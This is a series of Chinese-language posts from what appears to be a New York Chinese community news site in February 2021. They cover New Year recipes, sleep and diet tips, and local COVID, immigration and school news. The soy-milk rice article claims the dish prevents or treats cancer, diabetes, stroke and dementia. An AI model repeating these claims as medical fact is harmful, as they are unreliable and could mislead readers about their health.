3. 调汁:将料酒,醋,白糖,盐,淀粉,蚝油放入碗中,加适量的水调成汁。

4. 成菜:锅中放油,放入葱姜蒜爆香,然后倒入鱿鱼和胡萝卜大火煸炒,倒入调料汁翻炒均匀即可出锅。

2021-02-15 / by / in ,
心理学家:真正的好睡眠,是这样“养成”的(组图)

睡眠/失眠/饮食清淡/按穴位/持续专注呼吸/静坐观息法/高质量睡眠

经常听到周围的人说自己失眠了,睡上2小时都感到是奢侈的事情,对一般人群来讲好睡眠也是可遇而不可求啊!

睡眠如果你也有这样的疑惑,那么;


清淡饮食

1、控制饮食

“节劳节欲节饮食”是曾国藩12条修身养性法门之一。饮食清淡不仅能够使人神清气爽,更容易睡得香。不仅是奶茶、甜甜圈、方便面,这些高油高盐高热量的食物,暴饮暴食短时间吃下太多高脂肪的食物,还有添加剂、调味剂太多,这些都可能让肠胃不好消耗、胀气,甚至产生灼热等不舒服的感觉,阻挡好睡眠。味道好的不太健康的,健康的一般味道寡淡。

合理安排自己的饮食,一周中的三天,或者一天中的一顿清淡些,其他做到相对健康即可。不偏爱,懂节制,方得长久。看似是对饮食的节制,其实也是对“心”的锤炼,是减少贪求、厌恶的执着心的方式。


神门穴

2、按穴位

按哪个穴位最简单、最容易入睡呢?神门穴。平时盯着电脑时间长,起来休息一下,或者就是没事儿的时候,随时都能按一下,神门穴可以帮助自律神经的调整,使副交感神经发挥作用,让心慢慢安静下来,心神一定、睡神也就不远了。

因此,按神门穴会有助眠的作用。神门穴在腕横纹尺侧端,尺侧腕屈肌腱的桡侧凹陷处。你可以尝试用另一只手的中指按压3—5分钟,有酸胀的感觉就好了。


失眠

3、真正的失眠,不是睡不着,而是对睡眠的恐惧

好像要睡着了,但马上惊醒,突如其来的恐惧一下子像是被击中一下,从头顶到脚底一下子被“激活”的紧张。其实往往没什么好恐惧的,没有对象,就是恐惧,反反复复,徘徊在要睡、惊醒的边缘。

如何能够放下对睡眠的恐惧呢?

持续专注呼吸——静坐观息法。觉察一呼一吸,恐惧的力量自然慢慢减弱,持续专注在鼻孔处呼吸上,对睡眠的执着心,对睡眠的执念也就会慢慢减弱,当身体需要该入睡的时候,你便能自然入睡。

无论多么有效的方法,只有你去实践,效果才能发生在你身上,也唯有耐心坚持,才能真正享受想睡就睡的高质量睡眠、享有平和淡定的能力。

2021-02-15 / by / in
过年必备,去油解腻的6大饮品(组图)

过年/解腻饮品/乌龙茶/普洱茶/食用醋山/楂茶/酸梅汤/麦茶/蜂蜜柠檬水

过年了家家户户餐桌都摆上了丰盛的大鱼大肉,还有一些应景的点心和零食。


过年

而且几乎大家同时也会搭配有糖、有气泡、有酒精等的饮料来吃,所以就会让身体感到越来越油腻,就很需要解腻的东西来减轻身体的负担!

解腻饮品不只有茶,还有这些选择

茶类

《HEHO健康》报道,在中医的理论,茶的功效有利尿、解渴、能消气助消化,所以建议在大餐后饮食,可适度有助于消脂,根据多项研究显示多喝茶也可降低心血管疾病的发生,这是因为它含有丰富的抗氧化剂“儿茶素”,具有抗氧化、提高新陈代谢、清除自由基等功效。其中以乌龙茶的去油解腻作用最好,其余像是普洱茶也都可以帮助消食及去腻喔!


乌龙茶

不过因为茶属寒性,不适合空腹饮用,一般人一天的摄取量以不超过 600 毫升为佳,以避免摄取过多的咖啡因及茶碱,造成心悸、频尿、失眠等现象。另外,也建议有贫血症状、处于月经前后女性、肠胃差、胃食道逆流、慢性胃炎者都应尽量避免饮用。

食用醋

食用醋中含有“氨基酸”,有助分解体内脂肪,所以也可达到帮助消化的作用。

山楂茶

在中医理论中,山楂属味酸带甘、性微温,可以降血脂和血压,对预防心血管疾病有益。而且它还含有 20%的粗纤维可促进肠胃蠕动。


酸梅汤

酸梅汤

酸梅汤的原料有乌梅、山楂、陈皮,都能帮助消除体内的多余油脂,而且陈皮也可以抑制把剩余的糖转化成脂肪喔!

麦茶

由焙炒过的大麦所制成的麦茶,含有人体需要的多种微量元素、氨基酸、不饱和脂肪酸,加上含糖量也低,所以具有去油腻、助消化,益气健胃等功效。同时因为它所含的膳食纤维,有助清除肠胃中的“垃圾”,所以能减轻在年菜中所摄取的多余负担。


蜂蜜柠檬水

蜂蜜柠檬水

水是促进人体新陈代谢的最佳饮品,加上柠檬富含维他命C,又加上蜂蜜去调味,让原本无色、无味的水,立刻变得香甜让人想喝的意愿大大增加,让人也增加了喝水的量,有助维持人体机能的运作。

2021-02-13 / by / in
开心过年!日本研究:睡前吃不会让你变胖 关键在于…..

过年/养生/饮食/睡眠/肥胖

过年了,亲朋好友团圆,满桌子的丰盛食物,齐聚一定要好好的享受一下年菜,但担心年过后,人也要“圆”一圈。

最新日本研究指出,血糖高低关键不在睡前饮食,而是充足的睡眠与均衡健康的食物,同时也应远离酒精、吸烟。在过年期间也尽量避免久坐沙发,研究显示运动也极为重要,在良辰佳节不妨揪揪出去走春。

高血糖可能导致糖尿病、体重增加、心脏病等问题。日本冈山大学(Okayama University)健康科学研究所(Graduate School of Health Sciences)的研究人员1月在《BMJ Nutrition》发表研究显示,当日最后一餐与就寝时间在2小时以内,并未影响长期血糖水平──糖化血红素(HbA1c)的变化。

什么是糖化血红素(HbA1c)?

糖化血红素反映血糖长期的平均值

台湾卫福部资料显示,红血球平均寿命120天,因此,测定血中糖化血红素百分比,显示最近两、三个月来血糖控制情形;血糖越高,被糖化的血红素百分比也就越高。


红细胞

吃好睡好戒烟戒酒多运动 血糖才正常

日本研究调查1573名40到74岁、没有任何糖尿病或前期症状的日本人进行研究,发现糖化血红素的稳定与睡前饮食较无关联,关键因素在于控制身体质量指数(BMI)、戒烟和戒酒,且须获得充足的睡眠,及摄取健康及均衡的饮食。

一份自2012年至2014年的长期研究发现,比起睡前饮食,“体重、血压、血脂、运动、吸烟、饮酒,与糖化血红素更有关联”。

研究提醒,此研究为观察性质,且仅能表示关联而无法代表因果关系;同时指出,日本的饮食包含蔬菜及膳食纤维,与其他国家较为不同。

戒酒

2021-02-13 / by / in
(视频)【新年特辑】四喜丸子 福禄寿喜 团团圆圆

四喜丸子/丸子/新年/中国新年

四喜丸子为中国传统的一道名菜,是逢年过节家庭年饭必不可少的食物之一,其代表吉庆,团圆与美满,四喜丸子味道鲜美,口感爽脆,是色香味俱佳。

材料:

肉末500克,马蹄20个,蘑菇10个,老豆腐0.5块,花椒水(或葱姜水)100毫升,淀粉2汤匙,葱姜末适量,

调料:

盐溶液,胡椒粉最多,酱油1汤匙,花椒10粒,大料1个,生抽2汤匙,老抽1茶匙,

做法:

1.备工作:马蹄切碎,蘑菇切碎,葱姜切末,豆腐捻成泥。

2.调馅:将所有的调料和切好的材料加入肉馅中搅拌均匀,边搅拌,边加入花椒水,然后在摔打一下,直到肉上劲。

3.熬汤汁:锅中放上油,加入花椒,大料,葱姜爆香,然后加入适量的生抽,老抽,料酒和水,大火烧开。

4.成菜:锅中放油,油热后加入攒好的丸子炸至定形,表面微微对准黄时捞出,放入汤锅里面,小火慢炖1小时。然后将丸子捞出,往汤汁中淋上适量的淀粉,将粘稠的汤汁浇在丸子上即可。

2021-02-12 / by / in ,
古人过年?有哪些风俗?看呆了…

古人怎么过年/遥远的年味/过年风俗

除夕,人们都浸在过年的喜悦氛围中,因为我们是一个多民族的国家,过年的风俗习惯也不同,今天与大家分享这几幅图,好似把人们带到那遥远的年味。


家家户户买春联贴春联,祝福新的一年


贴门神,新的一年,将军保吉祥


年三十,放爆竹。一声两声百鬼惊,三声四声鬼巢倾。十声连百神道宁,八方上下皆和平


除夕黎明打粪堆,但求万事如愿


宋朝时,以鸡冠花供祖风靡京城


古代拜年不必进府门,送上名片给主人送去祝福


新年前后,迎亲嫁娶较多,姑娘家会在婚礼前展示嫁妆,富裕人家有十抬之数


唐代结婚有男拜女不拜的习俗,谓之新妇不跪


元宵节,走百病摸门钉。多走走去百病。已婚不孕的妇女,摸城门钉,取‘添丁’之意,希望来年可生子


正月十五赏花灯,直到现在还保留着这个传统


二月二日,迎富,古人携鼓到郊外游玩,早出晚归


年年春打六九头。立春日,有鞭春牛的习俗


莺花三月,姑娘小姐纷纷踏春放纸鸢(风筝)、荡秋千


莺花三月,姑娘小姐纷纷踏春放纸鸢(风筝)、荡秋千


姑娘们吟诗作对,打闹取笑


集市上,耍猴人在让小猴子表演,小儿笑呵呵


男子的休闲娱乐之一,蹴鞠,即今日的踢足球

有些风俗习惯被继承了下来,有些则消失在记忆里。真想回到古代,过一个没有手机、电脑,一声鞭炮,一颗糖就很满足的新年,那时候,年味正浓。

2021-02-12 / by / in
红豆核桃年糕 甜蜜蜜 步步高(视频)

红豆核桃年糕/红豆/核桃/年糕

年糕是我们中华民族的传统食物,年糕是用糯米和白糖制作而成的。过年吃年糕有取其“年年高”的意思,也就是一年比一年好。

年糕的做法有很多种,蒸,烤,炸等等。种类也因地域不同而分为八宝年糕,夹心年糕,炸年糕,汤年糕等等。甜甜的,粘粘的年糕,象征新的一年生活甜蜜,步步高。

材料:

糯米粉 200克,糖 120克,鸡蛋 2个,椰子油 4汤匙,炼乳 4汤匙,椰奶 400毫升,米粉 100克,水 130毫升,煮熟的蜜红豆 300克,

做法:

烤箱事先预热180摄氏度。

1. 煮红豆:将300克红豆洗净后,放入水中浸泡一夜。放入锅中加入120克糖煮1小时。

2. 将所有材料放入盆中混合在一起。

3. 烤盘四周用烘培纸垫好,将混合好的材料倒入烤盘中,在上面撒上碎核桃和芝麻,放入烤箱里面烤60分钟即可。

2021-02-11 / by / in ,
过年零食不停 小心热量爆表哦(组图)

过年、零食热量、少油、少糖、少盐、五谷、蔬果、瘦肉、鳕鱼、凉拌、清炖、含糖饮料

过年了,亲朋好友聚集在一起好吃好喝,还有各种丰盛的小零食,但大家一定要注意好吃好喝的背后暗藏的超高热量。

董氏基金会营养师许惠玉提醒,吃15颗腰果等于喝下1匙油,看似健康的干燥蔬果也都是油炸食品,吃28克香蕉片等于喝下2匙油。


零食

中国年脚步近,过年期间多数民众的生活就是吃饱睡、睡饱吃,一旦不小心吃得太放纵,当心过完年整个人胖一圈。

中央社引用董氏基金会食品营养中心主任许惠玉观点提醒,挑选年菜时应遵守“三少二多”原则,包括少油、少糖、少盐以及多五谷、多蔬果,以瘦肉、鳕鱼取代肥滋滋的五花肉;烹调方式也应以蒸、煮、烤、炖、卤、凉拌为主,以清炖取代红烧或油炸。


烹调方式也应以蒸、煮、烤、炖、卤、凉拌为主

除此之外,控制餐点分量也相当重要,许惠玉建议,民众应准备自己的小盘子,每道菜挑出适合的分量,把油炸过的外衣、肥肉去掉,别喝芶芡或浓稠的汤汁,都是减少油盐摄取的小撇步。

长春藤预防医学健康管理师余孟璇也指出,除了挑选少油、少盐的餐点,进食顺序也有学问,建议先喝汤,再依序吃肉、菜、饭、水果,先吃蛋白质有助于延缓血糖上升,可提升饱足感。


鱼汤

甜点的挑选也应浅尝即止,余孟璇说,精致的淀粉如年糕、南枣核桃糕、发糕等都应适度食用,并于下一餐减少白饭摄取,饮品方面也应少喝含糖饮料、桂圆红枣茶、黑糖姜茶,改喝无糖的花草茶或单以水果提味的水果茶。

过年团聚家家户户必备的涮嘴小零食如开心果、腰果、麻荖、糖果、牛肉干等,都暗藏超高热量,许惠玉以腰果为例,腰果的油脂量相当高,吃15颗腰果等于喝下1汤匙的油,而麻荖外皮沾有糖粉、芝麻、花生,热量相当惊人,看似健康的干燥蔬果,如苹果片、香蕉片、菠萝蜜片、干燥四季豆等等,其实都是经油炸后脱水制成,吃28克的香蕉片就等于吃下2茶匙的油脂。


苹果干

许惠玉建议,零食应以无调味爆米花、毛豆、低盐海苔等为主,不仅热量不高,也能解嘴馋,或以新鲜水果取代零嘴,是更健康的选择。

2021-02-11 / by / in
纽约市卫生局长:上门为长者打疫苗有困难

纽约市卫生局长:上门为长者打疫苗有困难

周二(2月9日)晚间,市卫生局局长乔克西(Dave Chokshi)出席由国会众议员欧凯秀(AOC)主持的第14选区里民大会,回应关于居家老人、尤其是完全无法出门的长者如何接种疫苗的问题。

市卫生局局长乔克西表示,不论是一般的居家老人,或者是完全需要借助外界力量才能生活的长者,市卫生局都在想办法为他们接种疫苗。但是首先要确定照顾老人的护士或健康护理员已经接种疫苗,这样能初步保证长者的安全。再者,是改善方便长者接种疫苗的设施,如增加更多快闪注射点,或者在长者居住的地方成立注射点。

但是最关键却也在现实中有执行困难的,就是直接由护理人员上门为无法出门的长者注射疫苗。乔克西指出,目前需要各打两剂的辉瑞(Pfizer)和Moderna疫苗,都是mRNA疫苗,需要特殊的冷藏设备;因此,“在保证疫苗安全和效能的情况下,很难将疫苗带到家家户户”。

乔克西说:“所以我们很期待看到强生(Johson & Johson)在本月稍晚能得到授权生产疫苗,(强生)疫苗配方比较稳定,能让更多纽约人得到疫苗,也可以把疫苗带到民众家中。”

市议员崔马克(Mark Treyger)曾在1月26日敦促市长白思豪采取紧急行动,为高危老年人提供疫苗接种。崔马克表示居家老人是社区中最脆弱的人群之一,但市府还没有针对该群体接种疫苗的详细计划。

2021-02-10 / by / in ,
申请入籍 部分人士无需重新打指模

申请入籍 部分人士无需重新打指模

在疫情期,美国移民局被授权在有限的情况下,可以重复使用申请人的生物指征信息,近日有申请入籍的华人,收到移民局的通知,告知她:会重复使用移民局以前对她获取的指模及其它生物指征信息,她无需再去打指模。

住在法拉盛的张小姐说,她去年7月递交入籍申请,但是一直没有收到打指模的通知,在疫情之前,一般递交申请之后一个月左右,就会收到打指模通知,她上月看媒体报导,打指模进度拖延严重,办理速度是疫情之前的65%,她更感悲观。近日她收到移民局的通知,告知她不用重新打指模,她无需去移民局的支持中心,而是使用之前对她录得的指模和其它生物指征信息,并将会对她进行背景调查。

这证实了移民局对部分人士在录取指模上的调整,这些人的情况通常是,他们的个人身份得到了确凿认证或他们的案件可以得到决定。

法拉盛一家移民入籍中心也证实,现在很多申请入籍的人无需重新打指模,但移民局的办理时间比疫情前拖延不少,现在从提交申请到面试,大概需要1年到14个月时间(疫情期之前的正常时间是半年左右)。移民局一般在距离面试前一个月,向申请人发出面试通知。

不过有的申请人以为移民局在疫情期办案拖延,对自己入籍面试的准备不那么抓紧,在突然收到通知,只有20多天时间准备时,措手不及。

法拉盛华人王女士表示,由于疏忽,没有留意移民局的信,她本月4日收到移民局于1月19日发出的面试通知,通知她23日面试,只剩下20天,她一下子慌神了,“我是2019年11月递交入籍申请的,12月份打指模,之后遇上瘟疫大流行,移民局关门,去年一年我的申请案就拖下来了。而我总以为,这么长时间都没有音信,移民局办事效率低下,还有时间,没想到突然收到移民局面试通知,过20天就要面试,实在措手不及。”

移民入籍中心表示,从去年下半年开始,移民局的办案逐渐恢复,虽然很慢,但总算在前进中,目前从递交申请到面试,一般需要1年到14个月时间。递交了入籍申请的人士,如果英文不好的,应留出充裕时间准备,移民中心的入籍课程是在网上上课。现在疫情,各方面的联络沟通、办事都不方便,政府部门也办事效率较低,如果面试不通过,又不知拖到什么时候,所以最好提前做好充分准备。

2021-02-10 / by / in
素狮子头 年夜饭少不了 平安吉祥 团团圆圆

素丸子/丸子/红烧狮子头/狮子头

狮子头是过年少不了的一道素食菜,它代表着吉庆、团圆和美满之寓意。

用豆腐、土豆、香菇,油面筋、馒头等食材制成,红润油亮的丸子,加上浓郁的汤汁,看着就很诱人。丸子很柔软入味,外酥内软。

食材:

油面筋 5个,老豆腐 0.5块,馒头 2个,土豆 1个,香菇 6个,胡萝卜 1个

调料:

蚝油 2大勺,盐 少许,生抽 3大勺,老抽 1汤匙,白糖 1小勺,淀粉 适量

做法:

1、先于北豆腐表面抹上少许盐,放置约半小时后再将豆腐压碎,挤压出多余水分。不能用嫩豆腐做这道菜哦,否则松散不成团。

2、把油面筋用水泡软后撕开,剁成小碎块;香菇切碎,胡萝卜去皮切碎。

3、把土豆去皮切成薄片,放入蒸锅蒸15分钟将其蒸熟,蒸好后用勺子压成土豆泥;与豆腐泥、馒头碎、油面筋碎等放在一起,加入蚝油,盐调味,然后加入2勺淀粉搅拌均匀,淀粉就是为了更好的成团。馒头是这道狮子头成团不松散的关键。


将丸子材料混合在一起

4、取大约手掌心大小的馅料,放在手掌中揉成丸子。

5、油温6、7成热开始炸丸子,将丸子顺着锅边放入,下锅后火调小不要翻动丸子,不能用大火,要不外面焦了里面还没熟,炸至表面成金黄色后捞出,炸的目的是将丸子定型。


炸丸子

6、平底锅放1碗水、3汤匙的生抽、1汤匙老抽、冰糖或白糖煮开,放入素丸子烧煮入味,小火煮约10~15分钟,不时翻动丸子,烧煮入味。然后盛出丸子,将水淀粉倒入锅中剩余的汤汁里,调成芡汁,浇在狮子头上即可。

2021-02-10 / by / in , ,
做米饭加上它,三高降了、便秘没了,邻居都跟着学

豆浆/降三高/解便秘/煮饭加豆浆/米饭/ 一日三餐

豆浆是一种不可缺少的液态营养品,老幼皆宜、如果用它煮白米饭,不仅更美味,还能治疗多种疾病,比如降三高,解便秘,还能使你更年轻!

日常豆浆打多了喝不完倒掉可惜,喝多肚胀,不妨用它来煮饭,不仅可以营养互补,而且味道更为香甜。

好处一 、口感更糯

大米配上豆浆,增加了大豆蛋白和优质脂肪,因此煮出的米饭更糯,更香甜。

好处二 、营养互补

米饭是谷物,豆浆是豆类食品,豆浆加米饭,能弥补谷物中缺乏的赖氨酸 ,米饭配豆浆则能发挥谷类中蛋氨酸的作用。

加了豆浆的米饭,富含优质蛋白、不饱和脂肪酸、膳食纤维、钙、异黄酮、低聚糖、卵磷脂、甾醇、皂苷等,营养素种类更全面。


加了豆浆的米饭,富含优质蛋白。

好处三 、更易吸收

并且单独吃米饭或喝豆浆,蛋白质都不易被人体吸收,但是一搭配,大豆蛋白和谷类蛋白就发生了“互补作用”,有效提高了蛋白质的吸收利用率。

好处四 、胜过吃肉

米饭配豆浆,蛋白质相当于肉的含量,难怪老人们常说“米饭加豆等于吃肉”。

如今许多中老年人三高,不能吃肉,不如多食用豆浆饭,有效弥补不能吃肉造成的营养不良,而且更安全、健康。

好处五 、预防疾病

豆浆饭能防治糖尿病、高血压、冠心病、中风、癌症,还能抗衰老、防老年痴呆、便秘、肥胖,日常一定要多吃。

豆浆饭这么好,做的时候要注意什么呢?

注意事项:

1 、豆浆用量大于水

煮豆浆饭时,豆浆的量要多于用水煮饭时水的用量,如果200g的米,需要260ml的水,换成豆浆则需要300ml。豆浆倒入淘洗好的米中后,一定要搅拌一下,以防大米结成团,影响口感。

2 、选择稀豆浆


选择稀豆浆

煮饭的豆浆,要选择比较稀的豆浆,如果浓度太高,可以适当的水稀释,以防煮出的饭口感过硬。

3 、食用豆渣

豆浆在制作中需要过滤豆渣,因此损失了一些膳食纤维,不妨把剩下的豆渣做成炒豆渣吃,不仅增强饱腹感,而且减缓人体对糖的吸收,降三高,又通便。

除了用豆浆煮饭,煮饭加点它,效果惊呆你!

加燕麦—控制高血脂

燕麦富含 β-葡聚糖,日常多吃能降低人体内坏胆固醇的含量,有效地降低心血管疾病的风险,尤其是高胆固醇和高血脂的朋友一定要记牢。

燕麦烹调得越粘稠,越能发挥β-葡聚糖的作用,不仅能加强饱腹感,促进降脂,加速肠胃蠕动,还能延缓血糖上升速度,糖尿病朋友一定要多吃。

加玉米—防癌

玉米不仅含有碳水化合物、蛋白质、脂肪,还含有异麦芽低聚糖、维生素、多糖等大量营养物质,是营养最全面的主食之一。

此外玉米还含有谷胱甘肽,能与人体内多种致癌物质结合,使之失去致癌性。玉米中的木质素 , 能使人体内 “ 巨噬细胞 ” 的活力提高2~3 倍 , 有效抑制癌瘤的产生,玉米中的矿物质镁也有极强的防癌效果。

加小米—安眠健胃

许多朋友压力大,没胃口,时间长了便会导致胃病。日常不妨在米饭中加点小米,促进消化更养胃。

加红薯—减肥防癌

红薯配米饭能有效弥补米饭中胡萝卜素、维生素C、膳食纤维、钾的不足。并且红薯富含膳食纤维,能促进人体有毒物质和胆固醇的代谢,还能预防便秘,间接预防肠癌和高血脂。


红薯

红薯中的胡萝卜素和维生素C,具有极好的抗氧化作用,有效预防心血管疾病。

加豆子—营养更全面

米饭配上富含淀粉、蛋白质、膳食纤维、微量元素的豆类,如绿豆、红豆、黑豆、蚕豆等,不仅能弥补大米中赖氨酸缺少的不足,还能提高人体蛋白质的吸收率。

当然由于豆类的皮都比较硬,因此最好提前浸泡,或用水煮20分钟,再与大米一起蒸煮,口感更好哦~

添油加醋—粒粒分明

煮米饭前,加入半汤勺植物油,或是滴入几滴米醋,蒸出的米饭松软清香,粒粒分明。

并且加醋的米饭还能减缓变质速度,用柠檬汁或柑橘汁效果一样好,并且更清香,陈年旧米也好吃!

加酒—煮夹生饭

米饭夹生,不妨加两勺米酒、白酒或黄酒,搅拌均匀后用小火煮一会儿,饭就熟透了。

除了煮米饭,炒米饭时加一些酒,炒出的米饭粒粒松散,又香又可口。

加盐—蒸剩饭

剩饭重新蒸后不仅味道差,口感也差,不妨倒入少量盐水后再蒸,米饭香味浓郁、口感细腻,和刚出锅的一样。

加葱—去糊味


日常做饭,不小心米饭煮糊了,可以在米饭中插一根葱,再盖上盖子焖一会儿,糊味立刻就消失了。

此外这些做法窍门一定要记牢,这样煮饭最好吃

1、淘米1-2遍

许多朋友淘米淘三四遍,其实是不对的,大大损失了大米的水溶性营养素。淘米不应用流水清洗,应该放在盆里用手搅动着清洗1-2遍,去除表面灰尘即可。

2、先泡后煮

将米在冷水里浸泡1个小时,充分吸水,不仅能缩短加热时间,还能减少营养损失。

3、注意加水量

一些朋友不注意加水量,蒸出的米饭要么太硬要么太软。通常煮白米饭,米和水的比例是1、1.2,清水高出大米2~4厘米即可。

如果是大米里面加紫米、高粱或者小米等粗粮,则要适当多加水,因为粗粮很“吃水”。

4、多焖一会

电饭煲跳档后别急着打开盖子,也不要马上拔插头,让它处于保温状态5分钟,拔完插头后再焖5分钟,这样蒸出的米饭口感好不粘锅!

怎么样,学会了吗?

2021-02-10 / by / in , ,
纽约市曼哈顿下城免费发粮 改为两周一次

纽约市曼哈顿下城免费发粮 改为两周一次

周一(2月8日)中午,市议员陈倩雯办公室宣布与四个民团合作,扩展原先的“社区优先免费食物发放”(Community First Food Pantry)项目。为了减轻分配不均,陈倩雯和非营利组织UA3协同工作,以每两周一次的频率将食品盒运送到曼哈顿下城的居民楼。

“UA3”主席孔振成(Donald Hong)说,该项目自去年4月开始,2020年12月以前,每周服务近5000人,未来希望能够每周帮助1.1万人,并将发送食物的范围拓展到布碌崙日落公园、皇后区法拉盛、曼哈顿中城、布朗士南哈林等纽约市社区。

目前参与该项目的主要团体还有“Vision Urbana”、亨利街社区中心(Henry Street Settlement)、纽约三一教堂(Trinity Church),而“Welcome to Chinatown”也以赠送便当支援项目,大盛贸易公司(Tay Shing Corp)则为该项目赠送新鲜蔬菜。

“UA3”和“Vision Urbana”在去年3月便共同合作为社区免费派发百万磅食物,“Vision Urbana”因此在去年8月20日获得市议员陈倩雯与曼哈顿区长高步迩(Gale Brewer)等民选官员认可拨款70万元,并在下东城成立永久办公室继续实施免费派送食物的项目。

2021-02-09 / by / in
疫苗副作用大 染过疫者第二针慎打

疫苗副作用大 染过疫者第二针慎打

一般人在施打第二针的次日身体反应较大 长期病患合不合资格打疫苗是一个复杂问题

新冠病毒在全球肆虐长达一年了,目前各界都把希望寄托在疫苗上。针对疫苗的副作用、老年病患打还是不打,众说纷纭。亚美医疗中心疾病管理主任医师李俊杰表示,据他观察,未染疫的人,在施打第二针后次日很难熬,身体反应较大;而染过疫的人,在打第一针时的反应就相当于平常人打第二针的反应,因此第二针要慎打。

布碌崙华人联合会与中美医师协会昨天(2月8日)举办线上讲座,邀请亚美医师协会主治医师李显民和亚美医疗中心疾病管理主任医师李俊杰,讨论疫苗常见问题、与COVID-19相关的长期健康影响和后遗症。

李俊杰(Paul Lee)医生说,当1月份疫情相对平缓时,人人对疫苗的态度都是“不要把我当大老鼠实验”;而到了现在,法拉盛、羊头湾和八大道等地疫情上升,华人在拥挤的居住环境下很容易由一人引入变全楼连环中招,因此人人抢着打疫苗,且“个个成为疫苗专家,到诊所念念有词,要打这种疫苗,不打那种疫苗”。

在谈到疫苗的副作用时,他说,不少人打了第二针疫苗后感到“发烧发冷”,也不是全部,但个别人的不良反应“很恐怖”,而华人圈中普遍指望这两针打完,就能像武侠剧中的高手张无忌一样变得“百毒不侵”。

即使新冠疫苗有其副作用,李显民医生还是认为打疫苗有预防作用,他敦促民众在家准备好退烧药等应对不良反应的药,做好心理准备熬过一两天。不过由于染过疫的人,在打第一针时的反应就相当大,担心打第二针时身体可能扛不住,因此这些人打不打第二针,还要看美国疾病控制和预防中心(CDC)的讨论结果。

对于“三高”(高血压、糖尿病、高血脂)的老人,还有长期病患者是否不适宜接种疫苗?李俊杰说,微信上很多人传老人不应该打疫苗,他认为未必是假信息,但他认为不同环境的做法不同,例如中国年轻人感染严重,因此中国未必鼓励老人施打疫苗,而美国担心老人家太多感染会让医疗系统崩溃,因此在做法上反过来。但长期病患合不合资格打疫苗,则是一个“很复杂、很深奥”的问题。

之前,川普总统赞扬他接受的实验性抗体药物治疗是“上帝的奇迹”,是治愈他的功臣。李俊杰医生说,这些单株抗体(monoclonal antibody infusion) 对发病十天内而不严重至入院的患者有明显效果,“很多人还不知道,很神奇,24小时内所有症状消失。”不过他说,这对变种病毒患者可能无效。

李俊杰表示,这种单株抗体为早期降低病毒含量的药,治疗对象为COVID-19病毒检测呈阳性的轻中度成年患者,以及有发展成重症的高危险人群,这包括65岁以上,或有某些慢性病史如心脏病或糖尿病的患者,这种药很贵,但医院只收打针钱不收药费,由政府批给个别医院。玛摩利医院(Maimonides Hospital)就有,但须经过家庭医生转介,不是任何人直接上医院就能打。

对于新冠病毒感染的后遗症,与会的Alice Lam女士说,她去年4月染疫,康复后手指痛,右手晚上一碰被子就有刺痛感、甚至拉不动被子,心跳加快等。李显民医生分析,这是新冠病毒攻击了神经系统的缘故,李俊杰说,或者残存的病毒引发过度免疫反应,影响到神经线。

2021-02-09 / by / in ,
纽约市餐馆堂食提前至大年初一开放

纽约市餐馆堂食提前至大年初一开放

基于疫情数据持续降低,纽约州长库默8日宣布,纽约市餐馆恢复室内用餐将从本周五(2月12日,大年初一)开始,较原定从西洋情人节开始堂食的计划提前了两天,而餐馆堂食客容量仍限制为25%。州长表示,市内的餐馆业者一直希望在假日之前恢复室内用餐,以便可提前应对,此举将使餐馆多了两天的准备时间,以便从周末的业绩增长中受益。

图为2020年10月1日,纽约市民在一间餐馆内用餐。
图为2020年10月1日,纽约市民在一间餐馆内用餐。

本周恰逢黄历新年到来,2月11日除夕便开始过华人文化中传统的新年了。一些华人中餐馆业主原以为州府2月14日才允许恢复室内用餐,错过了华人家庭团圆围炉的商机;而如今提前到2月12日大年初一,无疑对他们来说是好消息。

国会众议员孟昭文表示,黄历新年是皇后区及全美亚裔美国人最重要的节日之一,她感谢州长提前三天开放餐馆堂食,希望该政策能为当地因疫情受影响的餐馆带来急需的财务帮助。

曼哈顿意大利餐馆“Birichino”老板Fouad al sharif表示,他们等待这一天已经很久了,提前到周五可让他们准备周日情人节的大日子,预计餐馆会很忙。他提到,希望州府开放到50%的堂食客容量,因为他们为户外用餐额外做了许多工作,例如在寒冷的天气提供顾客供暖设备,以便较舒适地用餐。

纽约市餐馆开放堂食后,一些餐饮业主认为,餐厅酒吧须在晚上10点关门的规定应该延后,该老板则认为,目前的规定已经足够了,他回答记者说,“老实说,纽约市已经不如从前了,目前在外面待晚了不是很好”。

目前州内疫情数据都呈下降趋势,7日全州确诊率为4.28%,重症加护病房患者为1,454人(减少5例),使用呼吸机插管治疗患者为961(减少18例),单日染疫身亡人数降至114人。

2021-02-09 / by / in
纽约将开启“弹出式”艺术表演

纽约将开启“弹出式”艺术表演

在车站、公园、地铁站台、博物馆、溜冰场、街道角落表演 部分网上直播

州长在新闻发布会上表示,纽约州要开放300种“弹出”艺术;同时,纽约市政府要给艺术家们发放街头表演许可证。但是为了不聚集过多的观众,表演只在开演前二十分钟内通知公众。

表演地点将在车站、公园、地铁站台、博物馆、溜冰场、街道角落等地方。表演者将收到来自公共或者私人基金会的酬劳,表演还将在网络上直播。

纽约市的街头表演许可将从3月1日开始发放,有效期仅当日有效;允许最多50人同时表演;发放对象包括电影院等收到艺术资金的单位。纽约市的街头表演地点是市政府指定的地点,包括百老汇和第七大道之间的西51街等地。

在州长和市长的弹出式表演计划公布之前,很多艺术家们早已开始这么实践了。比如日前,由考夫曼音乐中心(Kaufman Music Center)提出,并获得Alphadyne基金会资助,超过100名出色的艺术家在纽约市街头的橱窗内,已经为纽约市民带来街头音乐会了。他们将带来一共60场的街头演出,会一直持续到3月中旬。

优雅的小提琴与醇厚的低音提琴相伴,一场橱窗内的现场音乐会,将路人深深吸引了。人们忘却了天气的寒冷,纷纷驻足观赏。

纽约行人克拉克( Richie Clarke)说,这真让人耳目一新。“太棒了。刚好路过听到。”他说。“这使我想起了纽约的魔力,虽然永远都在那儿,但有点像再次被点亮。”

纽约街头行人居里克( Stefan Zylik)说,他非常享受。“我们准备回家但听到了音乐演奏,天气那么好,为何不在外面趁机欣赏精彩的音乐呢,真是非常享受。”他说。

考夫曼音乐中心执行董事施兰( Kate Sheeran)认为,音乐的最美好之处,就是能帮助人们建立联系,拥有共同的体验。“这就是为什么人们一直都非常想念它。”她说:“我们对这种艺术和连结如饥似渴,很高兴每天都能在这里看到。”

2021-02-09 / by / in
初中申请延期至2/23 高中申请延期至3/1

初中申请延期至2/23 高中申请延期至3/1

纽约市教育局昨天(2月8日)宣布,原定于2月8日截止的初中申请,延期到2月23日截止;原定于2月23日截止的高中申请,延期到3月1日截止。

教育局说,如果你已经提交了申请,那么你不需要再做任何事情,但如果要修改申请,那么在截止日期之前完成。

